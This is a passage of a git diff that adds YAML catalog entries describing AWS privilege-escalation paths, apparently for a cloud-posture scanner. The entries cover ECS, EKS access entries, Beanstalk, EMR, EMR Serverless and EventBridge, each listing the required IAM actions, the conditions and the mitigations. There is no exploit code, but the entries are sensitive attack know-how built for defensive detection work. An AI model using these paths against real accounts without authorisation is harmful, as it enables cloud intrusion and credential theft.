src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistertaskdefinition-and-a-task-launching-action + source_revision: 171e422299 + summary: The source can obtain the privileges of the container-instance role and of task roles of tasks co-located on EC2 container instances by running a privileged/host-mounted container it controls. + requires: + all_of: + - action: ecs:RegisterTaskDefinition + resource: "*" + any_of: + - - action: ecs:RunTask + resource: "*" + - - action: ecs:StartTask + resource: "*" + - - action: ecs:CreateService + resource: "*" + - - action: ecs:UpdateService + resource: "*" + target: + kind: aws_role + selector: + ecs_container_instance_role_in_cluster_covered_by: ecs:RunTask + scope: same_account + aggregate_as: "ECS container-instance roles and co-located task roles in clusters covered by the launch action in {account}" + conditions: + - id: ec2_capacity + description: Only EC2-launch-type capacity is affected; Fargate does not allow privileged containers or host access. + - id: co_located_tasks + description: Other task roles are only reachable for tasks placed on the same instance. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Use Fargate for sensitive workloads, block privileged/host-network containers, and restrict task-definition registration. + references: [] + notes: The selector applies to whichever launch action matched; it covers instance-profile roles of container instances plus task roles of tasks on them (ecs_task_role_on_ec2_capacity restricted to those clusters). + +- id: aws-ecs-taskset-primary + provider: aws + service: ecs + title: Create a primary task set with a controlled container on an EXTERNAL-controller service + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistertaskdefinition-ecscreatetaskset-ecsupdateserviceprimarytaskset-ecsdescribetasksets + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ecs-tasks.amazonaws.com by deploying a task set it controls to a service with the EXTERNAL deployment controller. + requires: + all_of: + - action: ecs:RegisterTaskDefinition + resource: "*" + - action: ecs:CreateTaskSet + resource: "*" + - action: ecs:UpdateServicePrimaryTaskSet + resource: "*" + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: external_controller_service + description: A service using the EXTERNAL deployment controller must exist in a covered cluster. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on ECS task roles and task-set actions. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_CreateTaskSet.html + notes: Without a task role the result is container execution only (no IAM gain). + +- id: aws-ecs-ecscape-agent-impersonation + provider: aws + service: ecs + title: Impersonate the ECS agent to obtain credentials of co-located tasks (ECScape) + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/aws-ecscape-privesc.md#impersonate-the-ecs-agent-to-obtain-co-located-task-credentials + source_revision: 171e422299 + summary: A source holding the ECS container-instance role can obtain the task roles of other tasks running on the same EC2 container instance. + requires: + all_of: + - action: ecs:DiscoverPollEndpoint + resource: "*" + - action: ecs:Poll + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + ecs_task_colocated_with_source_container_instance: "{source.arn}" + scope: same_account + aggregate_as: "ECS task roles of tasks co-located with the source's container instances in {account}" + conditions: + - id: colocated_task + description: The target task must run on the same EC2 container instance whose instance-role credentials the source holds (typically obtained by a task reaching IMDS). + - id: execution_roles_exposed + description: Task execution roles of co-located tasks are delivered by the same channel and are also reachable. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Run sensitive tasks on Fargate or on dedicated hosts separated by privilege, block task access to IMDS (ECS_AWSVPC_BLOCK_IMDS or hop limit 1), and keep the container-instance role minimal. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/security-iam-roles.html + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html + notes: Sources are restricted to EC2 container-instance roles (instance profile, trusting ec2.amazonaws.com) and targets to task roles of EC2/EXTERNAL-capable task definitions in the same account whose clusters have registered container instances. Co-location is proven only with ECS container-instance and task placement inventory (ec2InstanceId of the source's instances, containerInstanceArn of the target's tasks); without it the target is an unresolved placeholder (unknown), never a FAIL. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/eks.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/eks.yaml new file mode 100644 index 0000000000..fb82be050f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/eks.yaml @@ -0,0 +1,154 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS EKS privilege escalation techniques (AWS-API side: access entries, Pod Identity, node groups). +# Source: hacktricks-cloud aws-eks-privesc/README.md (rev 171e422299). +# k8s_cluster_admin targets are the collected EKS clusters of the source's own account (eks_cluster: describe_cluster +# arn + accessConfig.authenticationMode), labelled "EKS cluster (cluster-admin)". The access-entry APIs need +# authenticationMode API or API_AND_CONFIG_MAP (eks_authentication_mode); a cluster whose mode was not collected is an +# unresolved placeholder. With a K8s snapshot of the cluster passed as related_snapshots the entity links to the +# cluster's K8s cluster-admin node. Pod Identity / node-group entries need an existing cluster (eks_cluster_exists). + +- id: aws-eks-createaccessentry-associateaccesspolicy + provider: aws + service: eks + title: Create an EKS access entry for the source and associate a cluster-admin access policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#ekscreateaccessentry-eksassociateaccesspolicy--iam-only-path-to-cluster-admin + source_revision: 6fb9ac51fd + summary: The source can become Kubernetes cluster-admin of an EKS cluster using only EKS API permissions, by mapping + a principal it controls into the cluster and associating AmazonEKSClusterAdminPolicy with cluster scope. + requires: + all_of: + - action: eks:CreateAccessEntry + resource: '{target.scope}' + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + eks_authentication_mode: + - API + - API_AND_CONFIG_MAP + scope: cluster + aggregate_as: Cluster-admin of EKS clusters whose access entries the source can create + preconditions: + - eks_new_self_access_entry_can_receive_cluster_admin + conditions: + - id: authentication_mode_api + description: The cluster authenticationMode must be API or API_AND_CONFIG_MAP (checked by eks_authentication_mode); + with CONFIG_MAP only, the access-entry APIs are unavailable (switching mode needs eks:UpdateClusterConfig + and is one-way). + - id: source_controls_mapped_principal + description: The access entry must name an IAM principal the source can authenticate as (normally itself). + - id: api_endpoint_reachable + description: The source must reach the Kubernetes API endpoint (public endpoint CIDR allowlist or private VPC + access). + - id: associate_policy_resource_scope + description: eks:AssociateAccessPolicy is authorized on the access-entry ARN; eks:policyArn / eks:accessScope + condition keys can restrict which access policy and scope may be associated. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Treat eks:CreateAccessEntry and eks:AssociateAccessPolicy as cluster-admin grants; restrict them to + platform administrators and use the eks:policyArn / eks:accessScope condition keys to forbid AmazonEKSClusterAdminPolicy. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html + - https://docs.aws.amazon.com/eks/latest/userguide/setting-up-access-entries.html + - https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html + - https://docs.aws.amazon.com/eks/latest/APIReference/API_AssociateAccessPolicy.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html + notes: The cluster creator's bootstrap admin entry is not required; access entries work on clusters created before + the feature once the authentication mode allows it. An existing-entry AssociateAccessPolicy path is covered + separately by aws-eks-associateaccesspolicy-existing-entry. A CONFIG_MAP cluster can enable access entries through + aws-eks-updateclusterconfig-enable-access-entries. + + +- id: aws-eks-updateclusterconfig-enable-access-entries + provider: aws + service: eks + title: Switch a CONFIG_MAP EKS cluster to access-entry authentication and grant the source cluster-admin + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#associate-a-cluster-admin-access-policy-with-an-existing-eks-access-entry-the-source-controls + source_revision: b587e6bd26 + summary: The source can become Kubernetes cluster-admin of an EKS cluster that only uses the aws-auth ConfigMap by enabling access-entry authentication and then creating an access entry with AmazonEKSClusterAdminPolicy for itself. + requires: + all_of: + - action: eks:UpdateClusterConfig + resource: "{target.scope}" + request_context: + eks:authenticationMode: API_AND_CONFIG_MAP + - action: eks:CreateAccessEntry + resource: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + eks_authentication_mode: + - CONFIG_MAP + scope: cluster + aggregate_as: "Cluster-admin of CONFIG_MAP EKS clusters whose authentication mode the source can change" + outcome: permission_grant + preconditions: + - eks_new_self_access_entry_can_receive_cluster_admin + conditions: + - id: eligible_cluster_platform + description: The cluster must be ACTIVE and its Kubernetes and EKS platform versions must support access entries. + - id: mode_change_propagates + description: The authentication mode change to API_AND_CONFIG_MAP is one-way and must complete before access entries can be created. + - id: associate_policy_condition_keys + description: eks:policyArn and eks:accessScope condition keys can restrict which access policy and scope may be associated. + - id: api_endpoint_reachable + description: The source must reach the Kubernetes API endpoint (public endpoint CIDR allowlist or private VPC access). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict eks:UpdateClusterConfig to platform administrators, migrate clusters to API authentication deliberately and alert on authenticationMode changes. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/setting-up-access-entries.html + - https://docs.aws.amazon.com/eks/latest/APIReference/API_UpdateClusterConfig.html + notes: The existing exclusion of eks:UpdateClusterConfig on the privesc page covers only endpoint exposure; this entry models the authentication-mode change that unlocks the access-entry APIs. + +- id: aws-eks-associateaccesspolicy-existing-entry + provider: aws + service: eks + title: Give the source's existing EKS access entry cluster administrator access + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#associate-a-cluster-admin-access-policy-with-an-existing-eks-access-entry-the-source-controls + source_revision: b587e6bd26 + summary: The source can associate AmazonEKSClusterAdminPolicy at cluster scope with its own existing STANDARD access entry. + requires: + all_of: + - action: eks:AssociateAccessPolicy + resource: "*" + request_context: + eks:policyArn: arn:{source.partition}:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy + eks:accessScope: cluster + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + eks_authentication_mode: + - API + - API_AND_CONFIG_MAP + scope: cluster + aggregate_as: Cluster-admin of EKS clusters with a controlled access entry + outcome: permission_grant + preconditions: + - eks_existing_self_access_entry_can_receive_cluster_admin + conditions: + - id: api_endpoint_reachable + description: The source must reach the Kubernetes API endpoint to use the granted cluster privileges. + - id: access_entry_identity_current + description: An entry for a deleted and recreated IAM principal has a stale internal identity even when its ARN still matches. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict AssociateAccessPolicy on access entries and use eks:policyArn and eks:accessScope conditions to limit administrator grants. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_eks.html + - https://docs.aws.amazon.com/eks/latest/APIReference/API_AccessEntry.html + notes: The evaluator joins a recorded STANDARD entry to the source's exact IAM principal, uses its accessEntryArn for authorization, and ignores an entry that already has cluster-wide AmazonEKSClusterAdminPolicy. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml new file mode 100644 index 0000000000..019698b808 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml @@ -0,0 +1,69 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Elastic Beanstalk privilege escalation techniques. +# Source: hacktricks-cloud aws-elastic-beanstalk-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). +# Beanstalk performs environment changes with the CALLER's credentials (CloudFormation, EC2, Auto Scaling, ELB, S3), +# so these entries are conditional on the broad supporting permissions noted in each entry. + +- id: aws-elasticbeanstalk-passrole-create-environment + provider: aws + service: elasticbeanstalk + title: Create a Beanstalk application and environment with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkcreateapplication-elasticbeanstalkcreateenvironment-elasticbeanstalkcreateapplicationversion-elasticbeanstalkupdateenvironment-iampassrole-and-more + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable EC2-trusting role with an instance profile, used as the instance profile of a new Beanstalk environment or of an existing one it updates. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + - action: elasticbeanstalk:CreateApplicationVersion + resource: '*' + - action: s3:PutObject + resource: '*' + any_of: + - - action: elasticbeanstalk:CreateApplication + resource: '*' + - action: elasticbeanstalk:CreateEnvironment + resource: '*' + - action: elasticbeanstalk:UpdateEnvironment + resource: '*' + - action: cloudformation:CreateStack + resource: '*' + - action: ec2:RunInstances + resource: '*' + - action: autoscaling:CreateAutoScalingGroup + resource: '*' + - - action: elasticbeanstalk:UpdateEnvironment + resource: '*' + - action: cloudformation:UpdateStack + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: EC2 instance-profile roles passable in {account} + outcome: workload_execution + conditions: + - id: supporting_permissions + description: The full set of S3, EC2, CloudFormation, Auto Scaling and Elastic Load Balancing permissions Beanstalk needs (cf. AdministratorAccess-AWSElasticBeanstalk) is approximated by the listed + actions. + - id: existing_environment_variant + description: The update-only alternative needs an existing environment within UpdateEnvironment scope; the instance profile is changed and the attacker application version deployed to it. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on instance-profile roles and grant Beanstalk environment-creation rights only to deployment principals. + references: + - https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess-AWSElasticBeanstalk.html + notes: A principal with these supporting permissions (ec2:RunInstances + PassRole) is usually already covered by the EC2 PassRole edge; this entry records the Beanstalk route. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml new file mode 100644 index 0000000000..589696a6b8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml @@ -0,0 +1,82 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EMR privilege escalation techniques. +# Source: hacktricks-cloud aws-emr-privesc/README.md (rev a53b46392c; GetClusterSessionCredentials at 171e422299). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-emr-passrole-runjobflow + provider: aws + service: emr + title: Launch an EMR cluster with a passed EC2 instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#iampassrole-elasticmapreducerunjobflow + source_revision: 171e422299 + summary: The source can launch an EMR cluster with a passable EC2 instance profile and run bootstrap code on its instances. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: elasticmapreduce:RunJobFlow + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "EC2 instance-profile roles passable in {account}" + outcome: workload_execution + conditions: + - id: emr_service_role_passable + description: RunJobFlow also requires passing an EMR service role (or the default EMR_DefaultRole must exist and be passable); PassRole must cover it too. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EC2 instance-profile and EMR service roles with iam:PassedToService, and restrict elasticmapreduce:RunJobFlow. + references: + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-iam-role-for-ec2.html + notes: The EMR service role itself is not reachable (only used by the EMR control plane); the reachable role is the EC2 instance profile role. + +- id: aws-emr-getclustersessioncredentials-runtime-role + provider: aws + service: emr + title: Vend endpoint credentials for an EMR runtime role without iam:PassRole + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducegetclustersessioncredentials--vend-a-runtime-roles-credentials-without-iampassrole + source_revision: 171e422299 + summary: The source can act as an EMR runtime role on a fine-grained-access-control cluster (submitting work to the cluster endpoints as that role) by retrieving the cluster session credentials for it, without holding iam:PassRole on the role. + requires: + all_of: + - action: elasticmapreduce:GetClusterSessionCredentials + resource: "arn:{source.partition}:elasticmapreduce:*:{target.account}:cluster/*" + target: + kind: aws_role + selector: + emr_runtime_role_of_cluster: true + scope: same_account + aggregate_as: "EMR runtime roles of clusters with a security configuration in {account}" + conditions: + - id: credentials_are_endpoint_credentials + description: The API returns HTTP basic credentials for the cluster's endpoints (Livy / Spark through EMR Studio-style integrations) acting as the runtime role, not STS keys; the source uses the role through workloads it submits to the cluster. + - id: execution_role_condition_key + description: elasticmapreduce:ExecutionRoleArn conditions on the grant can restrict which runtime roles credentials can be retrieved for. + - id: cluster_running_with_runtime_roles + description: The cluster must be running with a security configuration that enables runtime roles (and Lake Formation / FGAC where applicable). + preconditions: + - emr_cluster_session_runtime_role + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Constrain elasticmapreduce:GetClusterSessionCredentials with elasticmapreduce:ExecutionRoleArn to the caller's own runtime roles and keep runtime roles least-privileged. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr.html + - https://docs.aws.amazon.com/emr/latest/APIReference/API_GetClusterSessionCredentials.html + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-steps-runtime-roles.html + notes: The evaluator joins target role trust to the EC2 instance profile on a WAITING or RUNNING cluster whose named security configuration enables runtime roles. It checks the exact cluster and requested ExecutionRoleArn. An exact sts:ExternalId trust value is compared with a SHA-256 digest from the configuration, without retaining the raw value; missing evidence stays unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml new file mode 100644 index 0000000000..67a8c0297c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml @@ -0,0 +1,159 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EMR Serverless privilege escalation techniques. +# Source: hacktricks-cloud aws-emr-serverless-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). EMR Serverless execution roles are chosen +# per job run or session (executionRoleArn) and trust emr-serverless.amazonaws.com; applications themselves carry no role. +# EMR on EKS (emr-containers) execution roles trust the EKS cluster OIDC provider with an emr-containers-sa-* service-account +# subject; they are selected with trust_allows_emr_containers_oidc. + +- id: aws-emr-serverless-passrole-startjobrun + provider: aws + service: emr-serverless + title: Start an EMR Serverless job run with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole + source_revision: 171e422299 + summary: The source can run job code it controls using a passable EMR Serverless role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: emr-serverless.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: emr-serverless.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting emr-serverless.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: existing_application + description: A runnable EMR Serverless application must exist in StartJobRun scope. + - id: entrypoint_readable + description: The passed role must be able to read the job entry point the source supplies. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + preconditions: + - emr_serverless_job_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EMR Serverless roles with iam:PassedToService=emr-serverless.amazonaws.com and restrict StartJobRun to orchestrators. + references: + - https://docs.aws.amazon.com/emr/latest/EMR-Serverless-UserGuide/security-iam-runtime-role.html + notes: The evaluator joins an inventoried runnable application with exact StartJobRun and PassRole grants and a same-Region S3 script object writable by the source and readable by the execution role. The emr-containers:StartJobRun variant is aws-emr-containers-passrole-startjobrun. + +- id: aws-emr-containers-passrole-startjobrun + provider: aws + service: emr-containers + title: Start an EMR on EKS job run with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole + source_revision: 171e422299 + summary: The source can obtain the privileges of an EMR on EKS execution role (trusting the EKS cluster OIDC provider for emr-containers-sa-* service accounts) by running its own job code on a virtual cluster under that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_emr_containers_oidc: true + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "EMR on EKS execution roles passable in {account}" + outcome: workload_execution + conditions: + - id: virtual_cluster_exists + description: A virtual cluster must exist in StartJobRun scope, mapped to a namespace whose job service accounts the execution role trusts. + - id: execution_role_condition_key + description: emr-containers:ExecutionRoleArn and iam:PassedToService conditions may restrict which roles can be used. + preconditions: + - emr_containers_job_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EMR on EKS execution roles, constrain emr-containers:ExecutionRoleArn, and scope trust subjects to specific namespaces. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html + - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/iam-execution-role.html + notes: The evaluator checks StartJobRun on an inventoried RUNNING virtual cluster in the source account. The EKS namespace and role trust remain conditional. + +- id: aws-emr-containers-passrole-startjobrun-pod-identity + provider: aws + service: emr-containers + title: Start an EMR on EKS job through EKS Pod Identity + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole + source_revision: 171e422299 + summary: The source can submit a job with a passable execution role when its EKS Pod Identity trust and all three EMR service-account associations are in place. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: pods.eks.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "EMR on EKS Pod Identity execution roles passable in {account}" + outcome: workload_execution + conditions: + - id: job_code_readable + description: The execution role must be able to read code that the source controls, and the job must run with an EMR release supporting EKS Pod Identity. + - id: pod_identity_agent_ready + description: The EKS Pod Identity agent must be able to provide credentials to the job pods. + preconditions: + - emr_containers_pod_identity_job_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to approved Pod Identity roles, scope StartJobRun to authorized virtual clusters, and avoid associating high-privilege roles with tenant-controlled job namespaces. + references: + - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/setting-up-enable-IAM.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html + notes: The evaluator binds one RUNNING virtual cluster, an ACTIVE EKS cluster, all three recorded service-account associations, exact PassRole context for pods.eks.amazonaws.com and its EKS cluster ARN, and exact StartJobRun authorization. + +- id: aws-emr-containers-getmanagedendpointsessioncredentials + provider: aws + service: emr-containers + title: Open an interactive EMR on EKS session as a managed endpoint's execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-containersgetmanagedendpointsessioncredentials--iampassrole--interactive-spark-session-as-the-execution-role + source_revision: 171e422299 + summary: The source can run interactive Spark code as an EMR on EKS execution role by retrieving managed-endpoint session credentials for that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_emr_containers_oidc: true + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "EMR on EKS execution roles of managed endpoints in {account}" + outcome: workload_execution + conditions: + - id: managed_endpoint_exists + description: A managed (interactive) endpoint must exist on a virtual cluster and accept the execution role. + - id: endpoint_credentials + description: The credentials are a session token for the endpoint, not STS keys; the role is used through the Spark code the source runs. + preconditions: + - emr_containers_endpoint_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict emr-containers:GetManagedEndpointSessionCredentials and iam:PassRole on execution roles to notebook owners. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html + - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/connect-emr-studio.html + notes: The evaluator checks the credentials action on an inventoried ACTIVE endpoint of a RUNNING virtual cluster. Endpoint connection and role trust remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml new file mode 100644 index 0000000000..bb8bfc698d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml @@ -0,0 +1,46 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EventBridge privilege escalation techniques. +# Source: hacktricks-cloud aws-eventbridge-privesc/README.md (rev 171e422299). + +- id: aws-events-passrole-createsubscriber-universal-target + provider: aws + service: events + title: Create an enhanced-bus subscriber with a universal target and a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventscreatesubscriber--iampassrole--execute-supported-aws-apis-through-an-enhanced-bus-universal-target + source_revision: 6fb9ac51fd + summary: A subscriber may invoke a supported write action through a passed EventBridge role. This does not give the source the role's identity or all its permissions. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: events.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: events.amazonaws.com + scope: same_account + aggregate_as: Roles trusting events.amazonaws.com passable in {account} + outcome: impersonation + preconditions: + - eventbridge_subscriber_has_active_bus_and_bound_permissions + conditions: + - id: enhanced_bus_and_event + description: An operational custom event bus must exist in the source's account, and the source must be able to publish a matching event to it. + - id: supported_target_action + description: EventBridge validates the universal-target action at creation and blocks some services and actions; reach is the role's permissions on supported actions only, and results are not returned. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict events:CreateSubscriber to bus owners, scope iam:PassRole on EventBridge roles with iam:PassedToService=events.amazonaws.com, and keep delivery roles least-privileged. + references: + - https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-use-identity-based.html + notes: CreateSubscriber needs permission on the same operational custom event bus and on the new subscriber ARN. The evaluator requires both grants and PutEvents on that bus, but withholds a privilege edge until a supported target action, its exact resource, the role's effective permission, and an actual privilege gain are bound together. A customer KMS key also keeps bus access unresolved until key access is verified. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml new file mode 100644 index 0000000000..0e8a9b9a5b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml @@ -0,0 +1,216 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +- id: aws-audit-use-existing-parameterized-automation-runbook-with-runtime-passrole + provider: aws + service: ssm + title: Use existing parameterized Automation runbook with runtime PassRole + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartautomationexecution--execute-a-preauthorized-runbook-role + source_revision: 57bd5c07df + summary: The source can execute caller-selected runbook steps as passable role only + when the exact target and prerequisites are verified. Conditional principal access + requires the exact inventoried identity, usable authority equivalent to its observed + full IAM rights, fresh evidence and matching authorization fingerprint. A scoped + token/session is insufficient. + requires: + all_of: + - action: ssm:StartAutomationExecution + resource: '*' + - action: iam:PassRole + resource: '*' + target: + kind: aws_role + selector: + aws_challenge_fact: aws-audit-use-existing-parameterized-automation-runbook-with-runtime-passrole + scope: same_account + outcome: workload_execution + conditions: + - id: exact_verified_prerequisites + description: 'Evidence must bind source, exact target, and these prerequisites: + Existing runbook accepts AutomationAssumeRole parameter and uses it as role; + source can start it with allowed parameters; iam:PassRole covers exact role + trusting ssm.amazonaws.com; step must have useful privileged effect.' + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict the listed actions to approved operators and review the exact + target configuration. + notes: Missing exact principal, authority equivalence, fresh evidence, condition + IDs, authorization fingerprint or action/resource joins remains UNKNOWN. Restricted + sessions, revoked keys and audience-bound tokens do not reach the full identity. + Standard inventories never fabricate these facts. + references: + - https://cloud.hacktricks.wiki/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/ +- id: aws-codebuild-ssm-debug-session-role + provider: aws + service: codebuild + title: Connect to a paused CodeBuild build through Session Manager + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#ssm + source_revision: 57bd5c07df + summary: A live paused CodeBuild debug session gives shell access with the project + service role. 